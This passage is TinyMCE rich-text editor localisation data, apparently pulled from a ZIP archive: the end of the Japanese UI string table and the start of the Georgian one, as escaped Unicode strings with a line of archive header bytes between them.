"Zoom in": "\u30ba\u30fc\u30e0\u30a4\u30f3",
"Contrast": "\u30b3\u30f3\u30c8\u30e9\u30b9\u30c8",
"Back": "\u623b\u308b",
"Gamma": "\u30ac\u30f3\u30de",
"Flip horizontally": "\u6c34\u5e73\u306b\u53cd\u8ee2",
"Resize": "\u30ea\u30b5\u30a4\u30ba",
"Sharpen": "\u30b7\u30e3\u30fc\u30d7\u5316",
"Zoom out": "\u30ba\u30fc\u30e0\u30a2\u30a6\u30c8",
"Image options":
"\u753b\u50cf\u30aa\u30d7\u30b7\u30e7\u30f3",
"Apply": "\u9069\u7528",
"Brightness": "\u660e\u308b\u3055",
"Rotate clockwise":
"\u6642\u8a08\u56de\u308a\u306b\u56de\u8ee2",
"Rotate counterclockwise":
"\u53cd\u6642\u8a08\u56de\u308a\u306b\u56de\u8ee2",
"Edit image": "\u753b\u50cf\u306e\u7de8\u96c6",
"Color levels": "\u30ab\u30e9\u30fc\u30ec\u30d9\u30eb",
"Crop": "\u30af\u30ed\u30c3\u30d7",
"Orientation": "\u5411\u304d",
"Flip vertically": "\u4e0a\u4e0b\u306b\u53cd\u8ee2",
"Invert": "\u53cd\u8ee2",
"Date\/time": "\u65e5\u4ed8\u30fb\u6642\u523b",
"Insert date\/time": "\u65e5\u4ed8\u30fb\u6642\u523b",
"Remove link": "\u30ea\u30f3\u30af\u306e\u524a\u9664",
"Url": "\u30ea\u30f3\u30af\u5148URL",
"Text to display":
"\u30ea\u30f3\u30af\u5143\u30c6\u30ad\u30b9\u30c8",
"Anchors":
"\u30a2\u30f3\u30ab\u30fc\uff08\u30ea\u30f3\u30af\u306e\u5230\u9054\u70b9\uff09",
"Insert link": "\u30ea\u30f3\u30af",
"Link": "\u30ea\u30f3\u30af",
"New window":
"\u65b0\u898f\u30a6\u30a3\u30f3\u30c9\u30a6",
"None": "\u306a\u3057",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?":
"\u5165\u529b\u3055\u308c\u305fURL\u306f\u5916\u90e8\u30ea\u30f3\u30af\u306e\u3088\u3046\u3067\u3059\u3002\u300chttp:\/\/\u300d\u30d7\u30ec\u30d5\u30a3\u30c3\u30af\u30b9\u3092\u8ffd\u52a0\u3057\u307e\u3059\u304b\uff1f",
"Paste or type a link":
"\u30ea\u30f3\u30af\u3092\u30da\u30fc\u30b9\u30c8\u307e\u305f\u306f\u5165\u529b",
"Target": "\u30bf\u30fc\u30b2\u30c3\u30c8\u5c5e\u6027",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?":
"\u5165\u529b\u3055\u308c\u305fURL\u306f\u30e1\u30fc\u30eb\u30a2\u30c9\u30ec\u30b9\u306e\u3088\u3046\u3067\u3059\u3002\u300cmailto:\u300d\u30d7\u30ec\u30d5\u30a3\u30c3\u30af\u30b9\u3092\u8ffd\u52a0\u3057\u307e\u3059\u304b\uff1f",
"Insert\/edit link":
"\u30ea\u30f3\u30af\u306e\u633f\u5165\u30fb\u7de8\u96c6",
"Insert\/edit video":
"\u52d5\u753b\u306e\u633f\u5165\u30fb\u7de8\u96c6",
"Media": "\u30e1\u30c7\u30a3\u30a2",
"Alternative source":
"\u4ee3\u66ff\u52d5\u753b\u306e\u5834\u6240",
"Paste your embed code below:":
"\u57cb\u3081\u8fbc\u307f\u7528\u30b3\u30fc\u30c9\u3092\u4e0b\u8a18\u306b\u8cbc\u308a\u4ed8\u3051\u3066\u304f\u3060\u3055\u3044\u3002",
"Insert video": "\u52d5\u753b",
"Poster": "\u4ee3\u66ff\u753b\u50cf\u306e\u5834\u6240",
"Insert\/edit media":
"\u30e1\u30c7\u30a3\u30a2\u306e\u633f\u5165\u30fb\u7de8\u96c6",
"Embed": "\u57cb\u3081\u8fbc\u307f",
"Nonbreaking space":
"\u56fa\u5b9a\u30b9\u30da\u30fc\u30b9\uff08&nbsp;\uff09",
"Page break": "\u30da\u30fc\u30b8\u533a\u5207\u308a",
"Paste as text":
"\u30c6\u30ad\u30b9\u30c8\u3068\u3057\u3066\u8cbc\u308a\u4ed8\u3051",
"Preview": "\u30d7\u30ec\u30d3\u30e5\u30fc",
"Print": "\u5370\u5237",
"Save": "\u4fdd\u5b58",
"Could not find the specified string.":
"\u304a\u63a2\u3057\u306e\u6587\u5b57\u304c\u898b\u3064\u304b\u308a\u307e\u305b\u3093\u3067\u3057\u305f\u3002",
"Replace": "\u7f6e\u304d\u63db\u3048",
"Next": "\u6b21",
"Whole words":
"\u5358\u8a9e\u5358\u4f4d\u3067\u691c\u7d22\u3059\u308b",
"Find and replace":
"\u691c\u7d22\u3068\u7f6e\u304d\u63db\u3048",
"Replace with":
"\u7f6e\u304d\u63db\u3048\u308b\u6587\u5b57",
"Find": "\u691c\u7d22",
"Replace all":
"\u5168\u3066\u3092\u7f6e\u304d\u63db\u3048\u308b",
"Match case":
"\u5927\u6587\u5b57\u30fb\u5c0f\u6587\u5b57\u3092\u533a\u5225\u3059\u308b",
"Prev": "\u524d",
"Spellcheck":
"\u30b9\u30da\u30eb\u30c1\u30a7\u30c3\u30af",
"Finish": "\u7d42\u4e86",
"Ignore all": "\u5168\u3066\u3092\u7121\u8996",
"Ignore": "\u7121\u8996",
"Add to Dictionary": "\u8f9e\u66f8\u306b\u8ffd\u52a0",
"Insert row before":
"\u4e0a\u5074\u306b\u884c\u3092\u633f\u5165",
"Rows": "\u884c\u6570",
"Height": "\u9ad8\u3055",
"Paste row after":
"\u4e0b\u5074\u306b\u884c\u3092\u8cbc\u308a\u4ed8\u3051",
"Alignment": "\u914d\u7f6e",
"Border color": "\u67a0\u7dda\u306e\u8272",
"Column group": "\u5217\u30b0\u30eb\u30fc\u30d7",
"Row": "\u884c",
"Insert column before":
"\u5de6\u5074\u306b\u5217\u3092\u633f\u5165",
"Split cell": "\u30bb\u30eb\u306e\u5206\u5272",
"Cell padding":
"\u30bb\u30eb\u5185\u4f59\u767d\uff08\u30d1\u30c7\u30a3\u30f3\u30b0\uff09",
"Cell spacing": "\u30bb\u30eb\u306e\u9593\u9694",
"Row type": "\u884c\u30bf\u30a4\u30d7",
"Insert table": "\u8868\u306e\u633f\u5165",
"Body": "\u30dc\u30c7\u30a3\u30fc",
"Caption": "\u8868\u984c",
"Footer": "\u30d5\u30c3\u30bf\u30fc",
"Delete row": "\u884c\u306e\u524a\u9664",
"Paste row before":
"\u4e0a\u5074\u306b\u884c\u3092\u8cbc\u308a\u4ed8\u3051",
"Scope": "\u30b9\u30b3\u30fc\u30d7",
"Delete table": "\u8868\u306e\u524a\u9664",
"H Align":
"\u6c34\u5e73\u65b9\u5411\u306e\u914d\u7f6e",
"Top": "\u4e0a",
"Header cell": "\u30d8\u30c3\u30c0\u30fc\u30bb\u30eb",
"Column": "\u5217",
"Row group": "\u884c\u30b0\u30eb\u30fc\u30d7",
"Cell": "\u30bb\u30eb",
"Middle": "\u4e2d\u592e",
"Cell type": "\u30bb\u30eb\u30bf\u30a4\u30d7",
"Copy row": "\u884c\u306e\u30b3\u30d4\u30fc",
"Row properties":
"\u884c\u306e\u8a73\u7d30\u8a2d\u5b9a",
"Table properties":
"\u8868\u306e\u8a73\u7d30\u8a2d\u5b9a",
"Bottom": "\u4e0b",
"V Align":
"\u5782\u76f4\u65b9\u5411\u306e\u914d\u7f6e",
"Header": "\u30d8\u30c3\u30c0\u30fc",
"Right": "\u53f3\u5bc4\u305b",
"Insert column after":
"\u53f3\u5074\u306b\u5217\u3092\u633f\u5165",
"Cols": "\u5217\u6570",
"Insert row after":
"\u4e0b\u5074\u306b\u884c\u3092\u633f\u5165",
"Width": "\u5e45",
"Cell properties":
"\u30bb\u30eb\u306e\u8a73\u7d30\u8a2d\u5b9a",
"Left": "\u5de6\u5bc4\u305b",
"Cut row": "\u884c\u306e\u5207\u308a\u53d6\u308a",
"Delete column": "\u5217\u306e\u524a\u9664",
"Center": "\u4e2d\u592e\u63c3\u3048",
"Merge cells": "\u30bb\u30eb\u306e\u7d50\u5408",
"Insert template":
"\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u306e\u633f\u5165",
"Templates":
"\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u540d",
"Background color": "\u80cc\u666f\u8272",
"Custom...": "\u30ab\u30b9\u30bf\u30e0...",
"Custom color":
"\u30ab\u30b9\u30bf\u30e0\u30ab\u30e9\u30fc",
"No color": "\u30ab\u30e9\u30fc\u306a\u3057",
"Text color": "\u30c6\u30ad\u30b9\u30c8\u306e\u8272",
"Table of Contents": "\u76ee\u6b21",
"Show blocks":
"\u6587\u7ae0\u306e\u533a\u5207\u308a\u3092\u70b9\u7dda\u3067\u8868\u793a",
"Show invisible characters":
"\u4e0d\u53ef\u8996\u6587\u5b57\u3092\u8868\u793a",
"Words: {0}": "\u5358\u8a9e\u6570: {0}",
"Insert": "\u633f\u5165",
"File": "\u30d5\u30a1\u30a4\u30eb",
"Edit": "\u7de8\u96c6",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help":
"\u66f8\u5f0f\u4ed8\u304d\u30c6\u30ad\u30b9\u30c8\u306e\u7de8\u96c6\u753b\u9762\u3002ALT-F9\u3067\u30e1\u30cb\u30e5\u30fc\u3001ALT-F10\u3067\u30c4\u30fc\u30eb\u30d0\u30fc\u3001ALT-0\u3067\u30d8\u30eb\u30d7\u304c\u8868\u793a\u3055\u308c\u307e\u3059\u3002",
"Tools": "\u30c4\u30fc\u30eb",
"View": "\u8868\u793a",
"Table": "\u8868",
"Format": "\u66f8\u5f0f"
});PKR��[%'�iYYtinymce/langs/ka.jsnu�[���tinymce.addI18n('ka',{
"Cut": "\u10d0\u10db\u10dd\u10ed\u10e0\u10d0",
"Heading 5": "\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8
5",
"Header 2": "\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8
2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.":
"\u10d7\u10e5\u10d5\u10d4\u10dc
\u10d1\u10e0\u10d0\u10e3\u10d6\u10d4\u10e0\u10e1 \u10d0\u10e0
\u10d0\u10e5\u10d5\u10e1 \u10d1\u10e3\u10e4\u10e0\u10e2\u10e8\u10d8
\u10e8\u10d4\u10ee\u10ec\u10d4\u10d5\u10d8\u10e1
\u10db\u10ee\u10d0\u10e0\u10d3\u10d0\u10ed\u10d4\u10e0\u10d0.
\u10d2\u10d7\u10ee\u10dd\u10d5\u10d7
\u10e1\u10d0\u10dc\u10d0\u10ea\u10d5\u10da\u10dd\u10d3
\u10d8\u10e1\u10d0\u10e0\u10d2\u10d4\u10d1\u10da\u10dd\u10d7 Ctrl+X\/C\/V
\u10db\u10d0\u10da\u10e1\u10d0\u10ee\u10db\u10dd\u10d1\u10d8
\u10d9\u10dd\u10db\u10d1\u10d8\u10dc\u10d0\u10ea\u10d8\u10d4\u10d1\u10d8\u10d7.",
"Heading 4": "\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8
4",
"Div":
"\u10d2\u10d0\u10dc\u10d0\u10ec\u10d8\u10da\u10d4\u10d1\u10d0",
"Heading 2": "\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8
2",
"Paste": "\u10e9\u10d0\u10e1\u10db\u10d0",
"Close": "\u10d3\u10d0\u10ee\u10e3\u10e0\u10d5\u10d0",
"Font Family": "\u10e4\u10dd\u10dc\u10e2\u10d8",
"Pre":
"\u10de\u10e0\u10d4\u10e4\u10dd\u10e0\u10db\u10d0\u10e2\u10d8",
"Align right":
"\u10d2\u10d0\u10d0\u10e1\u10ec\u10dd\u10e0\u10d4
\u10db\u10d0\u10e0\u10ef\u10d5\u10dc\u10d8\u10d5",
"New document": "\u10d0\u10ee\u10d0\u10da\u10d8
\u10d3\u10dd\u10d9\u10e3\u10db\u10d4\u10dc\u10e2\u10d8",
"Blockquote":
"\u10d1\u10da\u10dd\u10d9\u10d8\u10e0\u10d4\u10d1\u10e3\u10da\u10d8
\u10ea\u10d8\u10e2\u10d0\u10e2\u10d0",
"Numbered list":
"\u10d3\u10d0\u10dc\u10dd\u10db\u10e0\u10d8\u10da\u10d8
\u10e1\u10d8\u10d0",
"Heading 1": "\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8
1",
"Headings":
"\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8",
"Increase indent":
"\u10d0\u10d1\u10d6\u10d0\u10ea\u10d8\u10e1
\u10d2\u10d0\u10d6\u10e0\u10d3\u10d0",
"Formats":
"\u10e4\u10dd\u10e0\u10db\u10d0\u10e2\u10d4\u10d1\u10d8",
"Headers":
"\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d4\u10d1\u10d8",
"Select all": "\u10e7\u10d5\u10d4\u10da\u10d0\u10e1
\u10db\u10dd\u10e6\u10dc\u10d8\u10e8\u10d5\u10dc\u10d0",
"Header 3": "\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8
3",
"Blocks": "\u10d1\u10da\u10dd\u10d9\u10d4\u10d1\u10d8",
"Undo":
"\u10d3\u10d0\u10d1\u10e0\u10e3\u10dc\u10d4\u10d1\u10d0",
"Strikethrough": "\u10e8\u10e3\u10d0
\u10ee\u10d0\u10d6\u10d8",
"Bullet list": "\u10d1\u10e3\u10da\u10d4\u10e2
\u10e1\u10d8\u10d0",
"Header 1": "\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8
1",
"Superscript": "\u10d6\u10d4\u10d3\u10d0
\u10d8\u10dc\u10d3\u10d4\u10e5\u10e1\u10d8",
"Clear formatting":
"\u10e4\u10dd\u10e0\u10db\u10d0\u10e2\u10d8\u10e0\u10d4\u10d1\u10d8\u10e1
\u10d2\u10d0\u10e1\u10e3\u10e4\u10d7\u10d0\u10d5\u10d4\u10d1\u10d0",
"Font Sizes": "\u10e4\u10dd\u10dc\u10e2\u10d8\u10e1
\u10d6\u10dd\u10db\u10d0",
"Subscript": "\u10e5\u10d5\u10d4\u10d3\u10d0
\u10d8\u10dc\u10d3\u10d4\u10e5\u10e1\u10d8",
"Header 6": "\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8
6",
"Redo":
"\u10d2\u10d0\u10db\u10d4\u10dd\u10e0\u10d4\u10d1\u10d0",
"Paragraph":
"\u10de\u10d0\u10e0\u10d0\u10d2\u10e0\u10d0\u10e4\u10d8",
"Ok": "\u10d9\u10d0\u10e0\u10d2\u10d8",
"Bold": "\u10db\u10d9\u10d5\u10d4\u10d7\u10e0\u10d8",
"Code": "\u10d9\u10dd\u10d3\u10d8",
"Italic": "\u10d3\u10d0\u10ee\u10e0\u10d8\u10da\u10d8",
"Align center":
"\u10d2\u10d0\u10d0\u10e1\u10ec\u10dd\u10e0\u10d4
\u10ea\u10d4\u10dc\u10e2\u10e0\u10e8\u10d8",
"Header 5": "\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8
5",
"Heading 6": "\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8
6",
"Heading 3": "\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8
3",
"Decrease indent":
"\u10d0\u10d1\u10d6\u10d0\u10ea\u10d8\u10e1
\u10e8\u10d4\u10db\u10ea\u10d8\u10e0\u10d4\u10d1\u10d0",
"Header 4": "\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8
4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.":
"\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1
\u10e9\u10d0\u10e1\u10db\u10d0
\u10e9\u10d5\u10d4\u10e3\u10da\u10d4\u10d1\u10e0\u10d8\u10d5
\u10e0\u10d4\u10df\u10d8\u10db\u10e8\u10d8\u10d0.
\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8
\u10e9\u10d0\u10d8\u10e1\u10db\u10d4\u10d5\u10d0
\u10e3\u10e4\u10dd\u10e0\u10db\u10d0\u10e2\u10dd\u10d7
\u10e1\u10d0\u10dc\u10d0\u10db \u10d0\u10db
\u10d7\u10d5\u10d8\u10e1\u10d4\u10d1\u10d0\u10e1 \u10d0\u10e0
\u10d2\u10d0\u10d7\u10d8\u10e8\u10d0\u10d5\u10d7.",
"Underline": "\u10e5\u10d5\u10d4\u10d3\u10d0
\u10ee\u10d0\u10d6\u10d8",
"Cancel":
"\u10d2\u10d0\u10e3\u10e5\u10db\u10d4\u10d1\u10d0",
"Justify":
"\u10d2\u10d0\u10db\u10d0\u10e0\u10d7\u10e3\u10da\u10d8",
"Inline": "\u10ee\u10d0\u10d6\u10e8\u10d8\u10d3\u10d0",
"Copy":
"\u10d9\u10dd\u10de\u10d8\u10e0\u10d4\u10d1\u10d0",
"Align left":
"\u10d2\u10d0\u10d0\u10e1\u10ec\u10dd\u10e0\u10d4
\u10db\u10d0\u10e0\u10ea\u10ee\u10dc\u10d8\u10d5",
"Visual aids":
"\u10d5\u10d8\u10d6\u10e3\u10d0\u10da\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0",
"Lower Greek": "\u10d3\u10d0\u10d1\u10d0\u10da\u10d8
\u10d1\u10d4\u10e0\u10eb\u10dc\u10e3\u10da\u10d8",
"Square":
"\u10d9\u10d5\u10d0\u10d3\u10e0\u10d0\u10e2\u10d8",
"Default":
"\u10e1\u10e2\u10d0\u10dc\u10d3\u10d0\u10e0\u10e2\u10e3\u10da\u10d8",
"Lower Alpha": "\u10d3\u10d0\u10d1\u10d0\u10da\u10d8
\u10d0\u10da\u10e4\u10d0",
"Circle": "\u10ec\u10e0\u10d4",
"Disc": "\u10d3\u10d8\u10e1\u10d9\u10d8",
"Upper Alpha": "\u10db\u10d0\u10e6\u10d0\u10da\u10d8
\u10d0\u10da\u10e4\u10d0",
"Upper Roman": "\u10db\u10d0\u10e6\u10d0\u10da\u10d8
\u10e0\u10dd\u10db\u10d0\u10e3\u10da\u10d8",
"Lower Roman": "\u10d3\u10d0\u10d1\u10d0\u10da\u10d8
\u10e0\u10dd\u10db\u10d0\u10e3\u10da\u10d8",
"Id should start with a letter, followed only by letters, numbers,
dashes, dots, colons or underscores.": "id
\u10e3\u10dc\u10d3\u10d0
\u10d8\u10ec\u10e7\u10d4\u10d1\u10dd\u10d3\u10d4\u10e1
\u10d0\u10e1\u10dd\u10d7\u10d8,
\u10e0\u10dd\u10db\u10d4\u10da\u10e1\u10d0\u10ea
\u10db\u10dd\u10e7\u10d5\u10d4\u10d1\u10d0
\u10db\u10ee\u10dd\u10da\u10dd\u10d3 \u10d0\u10e1\u10dd\u10d4\u10d1\u10d8,
\u10ea\u10d8\u10e4\u10e0\u10d4\u10d1\u10d8, \u10e2\u10d8\u10e0\u10d4,
\u10ec\u10d4\u10e0\u10e2\u10d8\u10da\u10d4\u10d1\u10d8, \u10dd\u10e0\u10d8
\u10ec\u10d4\u10e0\u10e2\u10d8\u10da\u10d8 \u10d0\u10dc
\u10e5\u10d5\u10d4\u10d3\u10d0 \u10e2\u10d8\u10e0\u10d4. ",
"Name": "\u10e1\u10d0\u10ee\u10d4\u10da\u10d8",
"Anchor": "\u10e6\u10e3\u10d6\u10d0",
"Id": "id",
"You have unsaved changes are you sure you want to navigate
away?": "\u10d7\u10e5\u10d5\u10d4\u10dc
\u10d2\u10d0\u10e5\u10d5\u10d7
\u10e8\u10d4\u10e3\u10dc\u10d0\u10ee\u10d0\u10d5\u10d8
\u10e8\u10d4\u10e1\u10ec\u10dd\u10e0\u10d4\u10d1\u10d4\u10d1\u10d8,
\u10d3\u10d0\u10e0\u10ec\u10db\u10e3\u10dc\u10d4\u10d1\u10e3\u10da\u10d8
\u10ee\u10d0\u10d7 \u10e0\u10dd\u10db
\u10e1\u10ee\u10d5\u10d0\u10d2\u10d0\u10dc
\u10d2\u10d0\u10d3\u10d0\u10e1\u10d5\u10da\u10d0
\u10d2\u10e1\u10e3\u10e0\u10d7?",
"Restore last draft": "\u10d1\u10dd\u10da\u10dd\u10e1
\u10e8\u10d4\u10dc\u10d0\u10ee\u10e3\u10da\u10d8\u10e1
\u10d0\u10e6\u10d3\u10d2\u10d4\u10dc\u10d0",
"Special character":
"\u10e1\u10de\u10d4\u10ea\u10d8\u10d0\u10da\u10e3\u10e0\u10d8
\u10e1\u10d8\u10db\u10d1\u10dd\u10da\u10dd",
"Source code": "\u10ec\u10e7\u10d0\u10e0\u10dd\u10e1
\u10d9\u10dd\u10d3\u10d8",
"Language": "\u10d4\u10dc\u10d0",
"Insert\/Edit code sample":
"\u10e9\u10d0\u10e1\u10d5\u10d8\/\u10e8\u10d4\u10d0\u10e1\u10ec\u10dd\u10e0\u10d4
\u10d9\u10dd\u10d3\u10d8\u10e1
\u10db\u10d0\u10d2\u10d0\u10da\u10d8\u10d7\u10d8",
"B": "\u10da",
"R": "\u10ec",
"G": "\u10db",
"Color": "\u10e4\u10d4\u10e0\u10d8",
"Right to left":
"\u10db\u10d0\u10e0\u10ef\u10d5\u10dc\u10d8\u10d3\u10d0\u10dc
\u10db\u10d0\u10e0\u10ea\u10ee\u10dc\u10d8\u10d5",
"Left to right":
"\u10db\u10d0\u10e0\u10ea\u10ee\u10dc\u10d8\u10d3\u10d0\u10dc
\u10db\u10d0\u10e0\u10ef\u10d5\u10dc\u10d8\u10d5",
"Emoticons":
"\u10e1\u10db\u10d0\u10d8\u10da\u10d8\u10d9\u10d4\u10d1\u10d8",
"Robots": "\u10e0\u10dd\u10d1\u10dd\u10d4\u10d1\u10d8",
"Document properties":
"\u10d3\u10dd\u10d9\u10e3\u10db\u10d4\u10dc\u10e2\u10d8\u10e1
\u10d7\u10d5\u10d8\u10e1\u10d4\u10d1\u10d4\u10d1\u10d8",
"Title": "\u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8",
"Keywords":
"\u10e1\u10d0\u10d9\u10d5\u10d0\u10dc\u10eb\u10dd
\u10e1\u10d8\u10e2\u10e7\u10d5\u10d4\u10d1\u10d8",
"Encoding":
"\u10d9\u10dd\u10d3\u10d8\u10e0\u10d4\u10d1\u10d0",
"Description": "\u10d0\u10ee\u10ec\u10d4\u10e0\u10d0",
"Author": "\u10d0\u10d5\u10e2\u10dd\u10e0\u10d8",
"Fullscreen": "\u10e1\u10d0\u10d5\u10e1\u10d4
\u10d4\u10d9\u10e0\u10d0\u10dc\u10d8",
"Horizontal line":
"\u10f0\u10dd\u10e0\u10d8\u10d6\u10dd\u10dc\u10e2\u10d0\u10da\u10e3\u10e0\u10d8
\u10ee\u10d0\u10d6\u10d8",
"Horizontal space":
"\u10f0\u10dd\u10e0\u10d8\u10d6\u10dd\u10dc\u10e2\u10d0\u10da\u10e3\u10e0\u10d8
\u10e1\u10d8\u10d5\u10e0\u10ea\u10d4",
"Insert\/edit image":
"\u10e9\u10d0\u10e1\u10d5\u10d8\/\u10e8\u10d4\u10d0\u10e1\u10ec\u10dd\u10e0\u10d4
\u10e1\u10e3\u10e0\u10d0\u10d7\u10d8",
"General":
"\u10db\u10d7\u10d0\u10d5\u10d0\u10e0\u10d8",
"Advanced":
"\u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d8\u10d7\u10d8",
"Source": "\u10d1\u10db\u10e3\u10da\u10d8",
"Border":
"\u10e1\u10d0\u10d6\u10e6\u10d5\u10d0\u10e0\u10d8",
"Constrain proportions":
"\u10de\u10e0\u10dd\u10de\u10dd\u10e0\u10ea\u10d8\u10d8\u10e1
\u10d3\u10d0\u10ea\u10d5\u10d0",
"Vertical space":
"\u10d5\u10d4\u10e0\u10e2\u10d8\u10d9\u10d0\u10da\u10e3\u10e0\u10d8
\u10e1\u10d8\u10d5\u10e0\u10ea\u10d4",
"Image description":
"\u10e1\u10e3\u10e0\u10d0\u10d7\u10d8\u10e1
\u10d3\u10d0\u10ee\u10d0\u10e1\u10d8\u10d0\u10d7\u10d4\u10d1\u10d0",
"Style": "\u10e1\u10e2\u10d8\u10da\u10d8",
"Dimensions":
"\u10d2\u10d0\u10dc\u10d6\u10dd\u10db\u10d8\u10da\u10d4\u10d1\u10d0",
"Insert image": "\u10e1\u10e3\u10e0\u10d0\u10d7\u10d8\u10e1
\u10e9\u10d0\u10e1\u10db\u10d0",
"Image":
"\u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10ee\u10e3\u10da\u10d4\u10d1\u10d0",
"Zoom in":
"\u10d2\u10d0\u10d3\u10d8\u10d3\u10d8\u10d4\u10d1\u10d0",
"Contrast":
"\u10d9\u10dd\u10dc\u10e2\u10e0\u10d0\u10e1\u10e2\u10d8",
"Back": "\u10e3\u10d9\u10d0\u10dc",
"Gamma": "\u10d2\u10d0\u10db\u10d0",
"Flip horizontally":
"\u10f0\u10dd\u10e0\u10d8\u10d6\u10dd\u10dc\u10e2\u10d0\u10da\u10e3\u10e0\u10d0\u10d3
\u10e8\u10d4\u10e2\u10e0\u10d8\u10d0\u10da\u10d4\u10d1\u10d0",
"Resize": "\u10d6\u10dd\u10db\u10d8\u10e1
\u10e8\u10d4\u10ea\u10d5\u10da\u10d0",
"Sharpen":
"\u10d2\u10d0\u10da\u10d4\u10e1\u10d5\u10d0",
"Zoom out":
"\u10d3\u10d0\u10de\u10d0\u10e2\u10d0\u10e0\u10d0\u10d5\u10d4\u10d1\u10d0",
"Image options": "\u10e1\u10e3\u10e0\u10d0\u10d7\u10d8\u10e1
\u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8",
"Apply": "\u10db\u10d8\u10e6\u10d4\u10d1\u10d0",
"Brightness":
"\u10e1\u10d8\u10d9\u10d0\u10e8\u10d9\u10d0\u10e8\u10d4",
"Rotate clockwise": "\u10e1\u10d0\u10d0\u10d7\u10d8\u10e1
\u10d8\u10e1\u10e0\u10d8\u10e1
\u10db\u10d8\u10db\u10d0\u10e0\u10d7\u10e3\u10da\u10d4\u10d1\u10d8\u10d7
\u10db\u10dd\u10d1\u10e0\u10e3\u10dc\u10d4\u10d1\u10d0",
"Rotate counterclockwise":
"\u10e1\u10d0\u10d0\u10d7\u10d8\u10e1 \u10d8\u10e1\u10e0\u10d8\u10e1
\u10db\u10d8\u10db\u10d0\u10e0\u10d7\u10e3\u10da\u10d4\u10d1\u10d8\u10e1
\u10e1\u10d0\u10ec\u10d8\u10dc\u10d0\u10d0\u10e6\u10db\u10d3\u10d4\u10d2\u10dd\u10d2
\u10db\u10dd\u10d1\u10e0\u10e3\u10dc\u10d4\u10d1\u10d0",
"Edit image": "\u10e1\u10e3\u10e0\u10d0\u10d7\u10d8\u10e1
\u10e0\u10d4\u10d3\u10d0\u10e5\u10e2\u10d8\u10e0\u10d4\u10d1\u10d0",
"Color levels": "\u10e4\u10d4\u10e0\u10d8\u10e1
\u10d3\u10dd\u10dc\u10d4",
"Crop": "\u10db\u10dd\u10ed\u10e0\u10d0",
"Orientation":
"\u10dd\u10e0\u10d8\u10d4\u10dc\u10e2\u10d0\u10ea\u10d8\u10d0",
"Flip vertically":
"\u10d5\u10d4\u10e0\u10e2\u10d8\u10d9\u10d0\u10da\u10e3\u10e0\u10d0\u10d3
\u10d0\u10e2\u10e0\u10d8\u10d0\u10da\u10d4\u10d1\u10d0",
"Invert":
"\u10e8\u10d4\u10d1\u10e0\u10e3\u10dc\u10d4\u10d1\u10d0",
"Date\/time":
"\u10d7\u10d0\u10e0\u10d8\u10e6\u10d8\/\u10d3\u10e0\u10dd",
"Insert date\/time":
"\u10d7\u10d0\u10e0\u10d8\u10e6\u10d8\/\u10d3\u10e0\u10dd\u10d8\u10e1
\u10e9\u10d0\u10e1\u10db\u10d0",
"Remove link": "\u10d1\u10db\u10e3\u10da\u10d8\u10e1
\u10ec\u10d0\u10e8\u10da\u10d0",
"Url": "Url",
"Text to display":
"\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8",
"Anchors": "\u10e6\u10e3\u10d6\u10d0",
"Insert link": "\u10d1\u10db\u10e3\u10da\u10d8\u10e1
\u10e9\u10d0\u10e1\u10db\u10d0",
"Link": "\u10d1\u10db\u10e3\u10da\u10d8",
"New window": "\u10d0\u10ee\u10d0\u10da
\u10e4\u10d0\u10dc\u10ef\u10d0\u10e0\u10d0\u10e8\u10d8",
"None": "\u10d0\u10e0\u10ea\u10d4\u10e0\u10d7\u10d8",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?":
"\u10d7\u10e5\u10d5\u10d4\u10dc\u10e1 \u10db\u10d8\u10d4\u10e0
\u10db\u10d8\u10d7\u10d8\u10d7\u10d4\u10d1\u10e3\u10da\u10d8
\u10db\u10d8\u10e1\u10d0\u10db\u10d0\u10e0\u10d7\u10d8
\u10ec\u10d0\u10e0\u10db\u10dd\u10d0\u10d3\u10d2\u10d4\u10dc\u10e1
\u10d2\u10d0\u10e0\u10d4 \u10d1\u10db\u10e3\u10da\u10e1.
\u10d2\u10e1\u10e3\u10e0\u10d7, \u10e0\u10dd\u10db
\u10db\u10d8\u10d5\u10d0\u10dc\u10d8\u10ed\u10dd http:\/\/
\u10e4\u10e0\u10d4\u10e4\u10d8\u10e5\u10e1\u10d8?",
"Paste or type a link":
"\u10e9\u10d0\u10e1\u10d5\u10d8\u10d7 \u10d0\u10dc
\u10e8\u10d4\u10d8\u10e7\u10d5\u10d0\u10dc\u10d4\u10d7
\u10d1\u10db\u10e3\u10da\u10d8",
"Target": "\u10d2\u10d0\u10ee\u10e1\u10dc\u10d0",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "\u10d7\u10e5\u10d5\u10d4\u10dc
\u10db\u10d8\u10e3\u10d7\u10d8\u10d7\u10d4\u10d7
